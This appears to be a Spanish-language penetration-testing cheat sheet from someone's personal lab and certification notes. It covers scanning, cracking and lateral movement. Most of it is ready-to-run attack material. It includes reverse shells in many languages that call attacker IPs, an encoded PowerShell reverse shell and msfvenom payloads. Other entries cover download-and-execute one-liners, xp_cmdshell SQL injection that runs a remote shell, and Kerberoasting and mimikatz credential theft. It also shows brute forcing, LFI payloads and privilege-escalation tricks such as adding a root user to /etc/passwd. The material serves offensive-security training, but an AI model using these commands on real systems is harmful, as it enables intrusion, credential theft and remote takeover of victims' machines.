Escaneo maquinas
Escaneo Inicial
ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.3'
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.16.116.200 -oG allPorts
## ligolo
nmap -p- -sT -Pn -n --min-rate 500 -T3 172.16.116.200 -vvv -oG allPorts
## vulnlab
nmap -p- -sS --min-rate 1000 T4 10.10.121.28 -oG allPorts
nmap -p- -vvv --min-rate 1000 -oG allPorts
## UDP
nmap -sS -sU --top-ports 500 -Pn -n -vvv -oG tcp_udp_scan 192.168.165.226
Escaneo exaustivo
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49668,49674,49676,49818,59647 -sCV 172.16.116.200 -oN targered.rb
## vulnlab
nmap -p21,22,25,5432,8080,8295 -sCV 192.168.132.56 -oN targeted.rb
Si hay un puerto 80 De primeras lanzar un scirpt de fuzzing rapido para ver que detecta
nmap --script http-enum -p80 -oN webScan 192.168.200.189
Lanzar scripts de reconocimiento vulnerables
nmap --script vuln -p 80,443 192.168.200.189
UDP
Para escanear los puertos mas comunes
nmap -sS -sU --top-ports 500 -Pn -n -vvv -oG tcp_udp_scan 10.10.11.9
Para escanear todos los puertos
nmap -p- --open -sU --min-rate 5000 -n -Pn -vvv -oG allUDPPorts 10.10.11.87
Luego para lanzar scripts de reconocimiento
nmap -sUCV -p500 10.10.11.87 -oN udpsCAN
Paneles de CMS ,ftp etc
#Probar
admin:admin
admin:password
admin:123456
credenciales defecto
nombreusuario:nombreusuario
password
Password123
welcome
Welcome123
123456
[[Cómo identificar la versión de una librería en Python]]
Entorno virtual con Python
Muchas veces tenbemos scripts de github o searchsploit donde hay que instalar requiriments o libreri, lo mejor es crear un entorno virtual.
#esto crea una carpeta en la carpeta actual de trabajo
python3 -m venv venv
#activamos
source venv/bin/activate
#ahora ya podemos ejecutar el script o instalar lo que necesitemos
pip3 install -r requirements.txt
python exploit.py
#salir del entorno
deactivate
rm -rf venv
Bucle de barrido de ping en hosts Pivot de Linux
for i in {1..254} ;do (ping -c 1 192.168.10.$i | grep "bytes from" &) ;done
## para un barrido de segundo octeto
for j in {0..254}; do for i in {1..254}; do ping -c 1 -W 1 192.168.$j.$i 2>/dev/null | grep "bytes from" & done; done
Barrido de ping en bucle usando CMD
for /L %i in (1 1 254) do ping 192.168.0.%i -n 1 -w 100 | find "Reply"
Barrido de ping con PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
Fping
fping -asgq 172.16.7.0/23
CVE
buscar de la siguiente manera
site:github.com CVE-2024-1086
Reiniciar maquinas
Si hay servicos que no podemos parar y reiniciar y tenemos un path hiyaking o un dll podemos reiniciar la maquina
#windows
shutdown /r /t 0
#linux
reboot
sudo reboot
shutdown -r now
systemctl reboot
Burpsuite
burpsuite 2&>/dev/null & disown
Reverse Shells
Ver
[[1 – Reverse Shell, Bind Shells y Forward Shells]]
[[9 – Reversheshell nishang]]
[[10 – Revershell Powershell base64]]
shell upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -c "bash -i >& /dev/tcp/192.168.45.183/443 0>&1"
perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.218",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
<?php $sock=fsockopen("192.168.45.218",80);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
php -r '$sock=fsockopen("192.168.45.218",80);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
netcat
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.218 1234 >/tmp/f
malicious exe payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.116 LPORT=80 -f exe -o httpd.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.199 LPORT=9999 -f exe -o rev.exe
## payload de reveseshell mediante bufferoverflow
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.169 LPORT=4411 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
listener endpoint
msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.45.235; set lport 7777; set ExitOnSession false; exploit -j"
powershell
powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.45.235:1337/Invoke-PowerShellTcp.ps1\")"
create powershell one liner
pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText
powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOAAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
After the oneline is created we can
Generate base64 powershell reverse shell (remember to change IP and PORT)
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.10",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
return cmd
STTY
script /dev/null -c bash
control z
stty raw -echo; fg
reset xterm
export TERM=xterm
stty rows 54 columns 236
## sh
python3 -c 'import pty; pty.spawn("/bin/sh")'
Traza ICMP
tcpdump -i tun0 icmp -n
Cracking passwords
KeePass
Primero extraemos el hash
keepass2john Database.kdbx > keepass.hash
Las crackeamos con jhon o hashcat
john --wordlist=/home/leo/repos/projects/wordlists/passwords/rockyou.txt Keepasshash.txt
hashcat -m 13400 keepass.hash rockyou.txt -r rockyou-30000.rule --force
## john con MD5
john hash.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
## si no va
~/john/run/keepass2john Passwords.kdbx > hash.txt
~/john/run/john hash --wordlist=/usr/share/wordlists/rockyou.txt
ssh key
Extraemos el hash
ssh2john id_rsa > ssh.hash
Lo crackeamos con jhon y hashcat
john --wordlist=/usr/share/wordlists/passwords/rockyou.txt hash.txt
hashcat -m 22921 ssh.hash rockyou.txt --force
NTLM
Usamos hashcat con el 1000
hashcat -m 1000 nelly.hash rockyou.txt -r best64.rule --force
Net-NTLMv2
Usamos hashcat con el 5600
hashcat -m 5600 hash /usr/shares/wordlist/rockyou.txt --force
AS-REP roasting
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
$krb5asrep$23$dave@CORP.COM:b24a619cfa585dc1894fd6924162b099$1be2e632a9446d1447b5ea80b739075ad214a578f03773a7908f337aa705bcb711f8bce2ca751a876a7564bdbd4a926c10da32b01ec750cf35a2c37abde02f28b7aa363ffa1d18c9dd0262e43ab6a5447db24f71256120f94c24b17b1df465beed362fcb14a539b4e9678029f3b3556413208e8d644fed540d453e1af6f20ab909fd3d9d35ea8b17958b56fd8658b147186042faaa686931b2b75716502775d1a18c11bd4c50df9c2a6b5a7ce2804df3c71c7dbbd7af7adf3092baa56ea865dd6e6fbc8311f940cd78609f1a6b0cd3fd150ba402f14fccd90757300452ce77e45757dc22
## si tenemos acceso a windows desde alguna vulneravilidad listamos los usuarios y hacemos el ataque
net user /domain
#tambien con powerview
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname
````
lo crackeamos con hashcat con el codigo `18200`
```c
sudo hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule --force
Kerberoasting
impacket-GetUserSPNs -request -dc-ip 10.10.132.146 oscp.exam/web_svc
$krb5tgs$23$*iis_service$corp.com$HTTP/web04.corp.com:80@corp.com*$940AD9DCF5DD5CD8E91A86D4BA0396DB$F57066A4F4F8FF5D70DF39B0C98ED7948A5DB08D689B92446E600B49FD502DEA39A8ED3B0B766E5CD40410464263557BC0E4025BFB92D89BA5C12C26C72232905DEC4D060D3C8988945419AB4A7E7ADEC407D22BF6871D...
lo crackeamos con hashcat con el codigo 13100
sudo hashcat -m 13100 hashes.kerberoast rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Creacion de password con meses estacionees de años para AD
#Metemos en un archivo todos los meses
January
February
March
April
May
June
July
August
September
October
November
December
Spring
Summer
Autumn
Fall
Winter
january
february
march
april
may
june
july
august
september
october
november
december
spring
summer
autumn
fall
winter
for i in $(cat temp); do echo $i; echo ${i}2022; echo ${i}2023; echo ${i}\! ;done > pass.txt
kerberoasting windows
mimikatz
## Kerberoasting windows, si accedemos a una maquina por medio de vulnerabilidad podemos hacer un kerberoasting
klist
./mimikatz.exe
kerberos::list /export
doIGPzCCBjugAwIBBaEDAgEWooIFKDCCBSRhggUgMIIFHKADAgEFoRUbE0lOTEFO
RUZSRUlHSFQuTE9DQUyiOzA5oAMCAQKhMjAwGwhNU1NRTFN2YxskREVWLVBSRS1T....==
## preparamos el blob para el crackeo
echo "<base64 blob>" | tr -d \\n > encoded_file
## preparamos el kirbi
cat encoded_file | base64 -d > sqldev.kirbi
## sacamos el hash del kirbi
python2.7 kirbi2john.py sqldev.kirbi
## lo modificamos para hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
#ahora crackeamos
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
......de82d9de6c4d9c8d2a36fce65bbb337a415030ce1d03c00fd9783afb5df0ee8fbabfa358521ad845e6d07fde7d34f2311ebae6e6a119d60d899467a66f997c273d2df73350f2d6c5438e71a057feeab:database!
rubeus
.\Rubeus.exe kerberoast /nowrap
$krb5tgs$23$*testspn$INLANEFREIGHT.LOCAL$testspn/kerberoast.inlanefreight.local@INLANEFREIGHT.LOCAL*$CEA71B221FC2C00F8886261660536CC1$4A8E252D305475EB9410FF3E1E99517F90E27FB588173ACE3651DEACCDEC62..........
## ahora lo guardamos en un archivo el hash y lo crackeamos con hashcat
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
ojooooo si es formato AES lo crackeamos
hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt
Evadir para ejecutar scripts
powershell -ep bypass
. .\PowerView.ps1
PortForwarding Tunneling
chisel
Si es solo protforwarding [[1 – PORTFORWARDING (Resumen)]]
SI usamos proxychains
Primero descargamos el ejecutable en la máquina remota:
certutil -urlcache -split -f "http://192.168.45.172/PowerUp.ps1" PowerUp.ps1
.\PrintSpoofer.exe -c "c:\wamp\www\nc.exe 192.168.45.169 9090 -e cmd"
.\PrintSpoofer.exe -c "c:\temp\nc.exe 192.168.45.231 445 -e cmd"
192.168.45.231
Luego, iniciamos el ejecutable en nuestra máquina Linux de ataque:
./chisel server -p 1234 --reverse
Y nos conectamos a él desde la máquina remota usando nuestra IP durante la conexión.
chisel64.exe client 192.168.45.217:1234 R:socks
# esto hace un portforwarding del puerto 443 al 8080 de nuestra maquina victima
./chisel.exe client 192.168.45.156:1234 R:443:127.0.0.1:1433
Esto, por defecto, creará un proxy SOCKS5 en el punto final 127.0.0.1:1080 de nuestra máquina local.
Para acceder a ese proxy, podemos editar la configuración de proxychains para poner al final:
socks5 127.0.0.1:1080
proxychains crackmapexec smb 10.10.10.24 -u 'usuario' -p 'contraseña'
ssh
-
Local port forwarding: Opcion -L
«`cssh -L 8000:localhost:8000 usuario@ipvictima
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 user@server
- **Dynamic port forwarding**: Opcion -Dc
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
- **Remote port forwarding**: Opcion -Rc
Primero ejecutamos un servicio en local de SSH
sudo systemctl start ssh
Luego, nos conectamos de nuevo desde la máquina remota. En este caso, queremos escuchar en el puerto 2345 de nuestra máquina Kali (127.0.0.1:2345) y reenviar todo el tráfico al puerto PostgreSQL en PGDATABASE01 (10.4.50.215:5432).c
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
«`Detenemos nuestro servicio ssh
c
sudo systemctl stop ssh -
Remote dynamic port forwarding: Creado con la opción -R pero sin especificar puntos finales.
Primero ejecutamos un servicio en local de SSH
«`c
sudo systemctl start ssh
Luego nos conectamos de nuevo desde la máquina remota. Esto crea un proxy SOCKS5 en nuestra máquina local, en ese puerto, que puede acceder a todas las interfaces disponibles para la máquina víctima.
««c
ssh -N -R 9998 kali@192.168.118.4
Podemos entonces detener nuestro servidor SSH.
c
sudo systemctl stop sshsocat
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
````
## DNS zone transfer attack
```c
dig axfr oscp.exam @192.168.221.156
Login with RDP
xfreerdp /u:yoshi /p:"Mushroom!" /v:172.16.219.82
KeePass database
kpcli --kdb=Database.kdbx
kpcli:/Database/Network> show -f 0
Extract data from pdf
exiftool -a file.pdf
Migrar a usuario windows
RunasCs
SI estamos con ua reverseshell y no podemos ejecutar runas por ejemplo podemos hacer lo siguiente
https://github.com/antonioCoco/RunasCs
Podemos obtener el compilado ya aqui https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
Nosp onemos por escucha lo subimos a la maquina
Si nuestro usuario es:
usuario:cbum
password:Tikkycoll_431012284
Y escuchamos por el 4646
ejecutamos
.\RunasCS.exe "web_svc" "Diamond1" "powershell.exe" -r 192.168.204.141:8080
.\RunasCS.exe "dmzadmin" "SlimGodhoodMope" "powershell.exe" -r 192.168.45.246:47001
.\RunasCS.exe "svc_mssql" "trustno1" "powershell.exe" -r 192.168.45.246:443
Brute Forcing
[[hydra]]
[[6 – Hydra]]
wget -m --no-passive ftp://anonymous:anonymous@192.168.167.140:20001
#Brute forcing RDP hydra
hydra -l user -P rockyou.txt rdp://192.168.50.202
#Brute forcing FTP with hydra
hydra -l itadmin -I -P rockyou.txt -s 21 ftp://192.168.247.202
#Brute forcing SSH with hydra
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201
#Brute forcing HTTP POST login with hydra
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
#Password spraying RDP with hydra
hydra -L users.txt -p "SuperS3cure1337#" rdp://192.168.247.202
HTTP
[[gobuster]]
# gobuster directory mode
gobuster dir -t 20 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.171.12 -x txt,bak
# gobuster vhost mode
gobuster vhost --wordlist /home/kali/repos/projects/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://oscp.exam:8000 --exclude-length 334
[[wfuzz]]
wfuzz
wfuzz -w /home/kali/repos/projects/SecLists/Discovery/DNS/subdomains-top1million-110000.txt http://192.168.238.150:8080/search?FUZZ=FUZZ
kiterunner to enumerate API endpoints
kiterunner scan http://192.168.243.143/api/ -w routes-small.kite -x 20
# php filters with LFI
curl http://192.168.193.16/meteor/index.php?page=php://filter/convert.base64-encode/resource=../../../../../../..//var/www/html/backup.php
curl http://192.168.193.16/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>"
[[2 – Local File Inclusion (LFI)]]
Ver los demas que hay en el OWAS TOP 10
WordPress
[[3 – WordPress – Discovery & Enumeration]]
enumerate wordpress sites
# default enumeration
wpscan --url http://10.10.10.88/webservices/wp
# enumerates vulnerable plugins
wpscan --url http://10.10.10.88/webservices/wp --enumerate vp
# enumerates all plugins
wpscan --url http://10.10.10.88/webservices/wp --enumerate ap
# enumerate all plugins using proxy
wpscan --url http://10.10.10.88/webservices/wp/index.php --proxy 127.0.0.1:8080 --enumerate ap
# enumerate everything
wpscan --url http://10.10.10.88/webservices/wp/index.php --proxy 127.0.0.1:8080 --enumerate ap tt at
RPC
[[4.2 – ENumeracion de RPC]]
SMB
[[4 – Servicio SMB]]
# nmap para informacion basica
nmap -v -p 139,445 --script smb-os-discovery 192.168.50.152
#check para anonymous share
smbmap -H <IP>
crackmapexec smb 192.168.242.147 -u -p --shares
smbclient
#Connect to SMB share
smbclient //172.16.246.11/C$ -U medtech.com/joe%Password
smbclient //192.168.212.248/transfer -U damon --pw-nt-hash 820d6348590813116884101357197052 -W relia.com
#download recursively entire share
smbget -a -R smb://active/Replication
#list share of particular user with username and password
crackmapexec smb 192.168.242.147 -u web_svc -p Dade --shares
#list share of particular user with NTLM hash
crackmapexec smb 192.168.242.147 -u web_svc -H 822d2348890853116880101357194052
#password spraying
crackmapexec smb 192.168.242.147 -u usernames.txt -p Diamond1 --shares
#crawl all files
crackmapexec smb active -u "" -p "" -M spider_plus
SNMP
[[Enumeracion SNMP puerto 161]]
Linux
[[Escalada de privilegios Linux]]
# linenum
curl http://192.168.45.198/linenum.sh > linenum.sh
chmod +x linenum.sh
./linenum.sh | tee linenum_output.txt
# linpeas
curl http://192.168.45.198/linpeas.sh > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.txt
# pspy64 to view cronjobs
curl http://192.168.45.198/pspy64 > pspy64
chmod +x pspy64
./pspy64
# SUID files
find / -perm -u=s 2>/dev/null
# SGID files
find / -perm -g=s -type f 2>/dev/null
# search particular filename
find / -name "*GENERIC*" -ls
# print env variables
env
Windows
[[Escalada de Privilegios Windows]]
Habra momentos en los que a lo mejor tenemos que ejecutar comandos por sql o por ciertos exploits que necesitan espacado de caracteres etc debemos ejecutarlos asi
"cmd.exe /c dir C:\\Users\usuerio\Downloads\\"
"powershell -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.45.169/Invoke-PowerShellTcp.ps1')"
"cmd.exe /c dir C:\\Users\\usuario\\Downloads\\"
powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.45.169/Invoke-PowerShellTcp.ps1')
Connect to MSSQL database
[[14 – Enumeracion MSSQL]]
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
Transferencia de archivos
[[7 – Uso de netcat]]
certutil -urlcache -split -f "http://192.168.45.156/SharpHound.exe" SharpHound.exe
iwr -uri http://192.168.45.159:1337/winPEASx64.exe -Outfile winPEASx64.exe
# Transferecnia de archivos usando netcat en windows
Get-Content "Database.kdbx" | .\nc.exe 192.168.45.239 5555
# Typical files to transfer
iwr -uri http://192.168.45.159:1337/ncat.exe -Outfile ncat.exe
iwr -uri http://192.168.45.159:1337/mimikatz64.exe -Outfile mimikatz64.exe
iwr -uri http://192.168.45.159:1337/chisel64.exe -Outfile chisel64.exe
iwr -uri http://192.168.45.159:1337/winpeas64.exe -Outfile winpeas64.exe
iwr -uri http://192.168.45.159:1337/privesccheck.ps1 -Outfile privesccheck.ps1
iwr -uri http://192.168.45.159:1337/SharpHound.exe -Outfile SharpHound.exe
iwr -uri http://192.168.45.159:1337/insomnia_shell.aspx -Outfile insomnia_shell.aspx
iwr -uri http://192.168.45.159:1337/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
iwr -uri http://192.168.45.159:1337/GodPotato-NET2.exe -Outfile GodPotato-NET2.exe
iwr -uri http://192.168.45.159:1337/GodPotato-NET4.exe -Outfile GodPotato-NET4.exe
iwr -uri http://192.168.45.159:1337/GodPotato-NET35.exe -Outfile GodPotato-NET35.exe
iwr -uri http://192.168.45.159:1337/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe
## Otro tipo de transferencia de archivos
(new-object System.Net.WebClient).DownloadFile("http://10.10.122.141/Script/mimikatz64.exe", "C:\TEMP\mimikatz64.exe")
## Servicio SMB
impacket-smbserver smbfolder $(pwd) -smb2support -user kali -password kali
#ahora desde windows ejecutamos
$pass = convertto-securestring 'kali' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('kali', $pass)
New-PSDrive -Name kali -PSProvider FileSystem -Credential $cred -Root \\192.168.45.205\smbfolder
# o tambien
net use \\192.168.45.246\smbfolder /user:kali kali
xp_cmdshell \\10.8.8.51\smbfolder\nc64.exe -e cmd.exe 10.8.8.51 443
smbserver.py -smb2support jprhack smb/
#nos ponemos en escucha
rlwrap nc -lnvp 443
#ahora desde mssql
xp_cmdshell \\10.10.14.22\jprhack\nc64.exe -e cmd.exe 10.10.14.22 443
cd smbfolder:
copy smbfolder:\PrintSpoofer64.exe C:\TEMP
copy smbfolder:\ncat.exe C:\TEMP
copy smbfolder:\SharpHound.exe C:\TEMP
## windows
dir \\192.168.45.169\smbfolder
copy \\192.168.45.246\smbfolder\nc64.exe C:\temp\nc.exe
copy \\192.168.45.246\smbfolder\agent.exe C:\temp\agent.exe
copy \\192.168.45.246\smbfolder\LaZagne.exe C:\temp\LaZagne.exe
copy \\192.168.45.246\smbfolder\nc64.exe C:\temp\nc.exe
# si es desde la maquina windows a la nuestra seria
copy ticket.kirbi \\TU_IP_KALI\smbfolder\
copy smbfolder:\RunasCS.exe C:\TEMP\RunasCS.exe
Herramientas automaticas
winPEASx64 [https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
Issue with latest build of missing DLL. To fix use this release [https://github.com/carlospolop/PEASS-ng/releases/tag/20230423-4d9bddc5](https://github.com/carlospolop/PEASS-ng/releases/tag/20230423-4d9bddc5)
iwr -uri http://192.168.45.159:1337/winpeas64.exe -Outfile winpeas64.exe
./winPEASx64.exe
----
PrivescCheck [https://github.com/itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck)
iwr -uri http://192.168.45.159:1337/privesccheck.ps1 -Outfile privesccheck.ps1
. .\privesccheck.ps1
Invoke-PrivescCheck -Extended -Report "privesccheck_$($env:COMPUTERNAME)"
Se recomienda poner al final del archivo **Invoke-AllChecks** ya que enumerara vias potenciales de escalar privilegios.
# PowerUp.ps1 => Podemos descargarnos el archivo aqui con wget poniendolo en raw
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
#en windows ejecutamos
powershell -ep bypass
. .\PowerView.ps1
Windows AD
Listar todas las máquinas actualmente unidas al AD
Get-ADComputer -Filter * -Properties Name -Server "oscp.exam"
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
CrackMapExec
Enumerar smb, winrm, rdp and ssh con crackmapexec, con password y hashes
proxychains crackmapexec smb IP1 IP2 -u USERNAME -p PASSWORD --shares
proxychains crackmapexec winrm IP1 IP2 -u USERNAME -p PASSWORD --continue-on-success
proxychains crackmapexec rdp IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec ssh IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec smb IP1 IP2 -u USERNAME -H NTLM-HAHSH --shares
SharpHound & BloodHound
[[bloodhound]]
O tambien
[[bloodhound-python]]
transferimos sharphound ia la maquina remota
iwr -uri http://192.168.45.159:1337/SharpHound.exe -Outfile SharpHound.exe
certutil -urlcache -split -f "http://192.168.45.170:1337/SharpHound.exe" SharpHound.exe
SQLi
[[14 – Enumeracion MSSQL]]
[[1 – 1 SQL INJECTION]] ver este y todos los que hay ahi si es necesario
Basic SQLi
' OR 1=1 --
XP_CMDSHELL in mssql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
' ; EXEC xp_cmdshell 'powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.45.248:1337/Invoke-PowerShellTcp.ps1\")" '; --
Union select
username=' UNION SELECT 'nurhodelta','password','c','d','f','a','a' -- &password=password&login=
Linux
wildcard
[[Teacher]]
[[24 – wildcard]]
[[6 – Wildcard Abuse]]
Add root user to passwd file (root2:w00t)
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
Abuse tar wildcard `tar -zxf /tmp/backup.tar.gz *`
echo "python3 /tmp/rev.py" > demo.sh
touch -- "--checkpoint-action=exec=sh demo.sh"
touch -- "--checkpoint=1"
````
## Windows
TODO: [https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a) [https://github.com/r3motecontrol/Ghostpack-CompiledBinaries](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) [https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
---
Tres pasos para obtener un shell inverso usando un exploit no confiable
```c
payload_1 = f'cmd.exe /c mkdir C:\TEMP'.encode('utf-8')
payload_3 = f'powershell -c "iwr -uri http://192.168.45.215/shell.exe -Outfile C:\TEMP\shell.exe"'.encode('utf-8')
payload_4 = f'cmd.exe /c "C:\TEMP\shell.exe"'.encode('utf-8')
SQLi using xp_cmdshell
[[14 – Enumeracion MSSQL]]
First we enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
and then we can execute our code
EXEC xp_cmdshell 'whoami';
to get a reverse shell execute
' ; EXEC xp_cmdshell 'powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.45.248:1337/Invoke-PowerShellTcp.ps1\")" '; --
Exploit SeImpersonatePriv
– Juicy.Potato.x86.exe ❌ → pensado para Windows modernos
C:\\wamp\\logs> Juicy.Potato.x86.exe -t * -p c:\\windows\\system32\\cmd.exe -a "/c c:\\wamp\\www\\nc.exe -e cmd.exe 192.168.52.200 21" -l 9002 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
- JuicyPotatoNG ❌ → pensado para Windows modernos
- RoguePotato ❌ → Windows 10 / Server 2016+
- PrintSpoofer ❌ → necesita Print Spooler moderno
- GodPotato ❌ → Windows 10+ / Server 2019+
[[7 – SeImpersonate and SeAssignPrimaryToken (juicypotato)]]
[[whoami priv SeImpersonatePrivilege]]
[[Granny(window)]]
[[churrasco.exe]]
[[maquinas/windows/ease/bounty|bounty]]
